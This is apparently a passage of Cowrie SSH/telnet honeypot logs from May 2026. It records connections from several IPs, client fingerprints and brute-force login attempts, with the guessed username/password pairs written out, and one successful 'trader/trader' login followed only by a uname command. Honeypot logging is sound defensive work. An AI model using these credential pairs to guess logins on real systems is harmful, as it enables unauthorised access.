rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:43.061964Z","src_ip":"213.135.168.228","session":"261ba4bc77d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mercury1","message":"login attempt [root/mercury1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:43.644892Z","src_ip":"213.135.168.228","session":"261ba4bc77d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36310,"dst_ip":"159.203.135.109","dst_port":22,"session":"83e0a2da96e2","protocol":"ssh","message":"New connection: 176.65.132.129:36310 (159.203.135.109:22) [session: 83e0a2da96e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:43.928240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:43.933976Z","src_ip":"176.65.132.129","session":"83e0a2da96e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:44.017119Z","src_ip":"176.65.132.129","session":"83e0a2da96e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:44.266196Z","src_ip":"176.65.132.129","session":"83e0a2da96e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:44.786673Z","src_ip":"213.135.168.228","session":"261ba4bc77d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:45.351132Z","src_ip":"176.65.132.129","session":"83e0a2da96e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.42283487319946,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:46.298168Z","src_ip":"152.42.224.71","session":"02f04f6b7897","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53830,"dst_ip":"159.203.135.109","dst_port":22,"session":"3071b9f2f427","protocol":"ssh","message":"New connection: 176.65.132.129:53830 (159.203.135.109:22) [session: 3071b9f2f427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:47.248297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:47.253924Z","src_ip":"176.65.132.129","session":"3071b9f2f427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:47.337141Z","src_ip":"176.65.132.129","session":"3071b9f2f427","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:47.584324Z","src_ip":"176.65.132.129","session":"3071b9f2f427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:48.671446Z","src_ip":"176.65.132.129","session":"3071b9f2f427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38976,"dst_ip":"10.17.0.5","dst_port":23,"session":"3699417b2745","protocol":"telnet","message":"New connection: 152.42.224.71:38976 (10.17.0.5:23) [session: 3699417b2745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:49.169717Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38980,"dst_ip":"10.17.0.5","dst_port":23,"session":"20b732aee31f","protocol":"telnet","message":"New connection: 152.42.224.71:38980 (10.17.0.5:23) [session: 20b732aee31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:49.545846Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53844,"dst_ip":"159.203.135.109","dst_port":22,"session":"08b68bded39a","protocol":"ssh","message":"New connection: 176.65.132.129:53844 (159.203.135.109:22) [session: 08b68bded39a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:50.448508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:50.453173Z","src_ip":"176.65.132.129","session":"08b68bded39a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:50.535313Z","src_ip":"176.65.132.129","session":"08b68bded39a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00515246391296,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:50.542393Z","src_ip":"152.42.224.71","session":"c7893725abfc","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:50.782836Z","src_ip":"176.65.132.129","session":"08b68bded39a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:51.001227Z","src_ip":"176.65.132.129","session":"08b68bded39a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:51.004961Z","src_ip":"176.65.132.129","session":"08b68bded39a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:51.090099Z","src_ip":"176.65.132.129","session":"08b68bded39a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:51.095407Z","src_ip":"176.65.132.129","session":"08b68bded39a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":36410,"dst_ip":"159.203.135.109","dst_port":22,"session":"9468bf968199","protocol":"ssh","message":"New connection: 101.32.240.31:36410 (159.203.135.109:22) [session: 9468bf968199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:51.505863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:51.510818Z","src_ip":"101.32.240.31","session":"9468bf968199","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:51.756909Z","src_ip":"101.32.240.31","session":"9468bf968199","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.58403730392456,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:51.978942Z","src_ip":"152.42.224.71","session":"a734b93fbfb2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"spanky","message":"login attempt [root/spanky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:52.775168Z","src_ip":"101.32.240.31","session":"9468bf968199","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53852,"dst_ip":"159.203.135.109","dst_port":22,"session":"2401133a0864","protocol":"ssh","message":"New connection: 176.65.132.129:53852 (159.203.135.109:22) [session: 2401133a0864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:53.708005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:53.713164Z","src_ip":"176.65.132.129","session":"2401133a0864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:53.798783Z","src_ip":"176.65.132.129","session":"2401133a0864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:54.024206Z","src_ip":"101.32.240.31","session":"9468bf968199","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:54.185043Z","src_ip":"176.65.132.129","session":"2401133a0864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38984,"dst_ip":"10.17.0.5","dst_port":23,"session":"803ac24827e4","protocol":"telnet","message":"New connection: 152.42.224.71:38984 (10.17.0.5:23) [session: 803ac24827e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:54.390261Z"}
{"eventid":"cowrie.session.closed","duration":55.77052974700928,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:54.673760Z","src_ip":"152.42.224.71","session":"f4e9a620412d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.79770803451538,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:55.064012Z","src_ip":"152.42.224.71","session":"1c967774a25a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:55.270734Z","src_ip":"176.65.132.129","session":"2401133a0864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43156,"dst_ip":"10.17.0.5","dst_port":23,"session":"31c206c17655","protocol":"telnet","message":"New connection: 152.42.224.71:43156 (10.17.0.5:23) [session: 31c206c17655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:56.104531Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51860,"dst_ip":"159.203.135.109","dst_port":22,"session":"3affd96c3277","protocol":"ssh","message":"New connection: 176.65.132.129:51860 (159.203.135.109:22) [session: 3affd96c3277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:57.045609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:57.050463Z","src_ip":"176.65.132.129","session":"3affd96c3277","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:57.132653Z","src_ip":"176.65.132.129","session":"3affd96c3277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:57.383808Z","src_ip":"176.65.132.129","session":"3affd96c3277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":34470,"dst_ip":"10.17.0.5","dst_port":22,"session":"43bf2092ce78","protocol":"ssh","message":"New connection: 20.193.250.100:34470 (10.17.0.5:22) [session: 43bf2092ce78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:57.455126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:57.460082Z","src_ip":"20.193.250.100","session":"43bf2092ce78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.36498689651489,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:57.535393Z","src_ip":"152.42.224.71","session":"90d153d05fa7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:57.662305Z","src_ip":"20.193.250.100","session":"43bf2092ce78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:58.469061Z","src_ip":"176.65.132.129","session":"3affd96c3277","protocol":"ssh"}
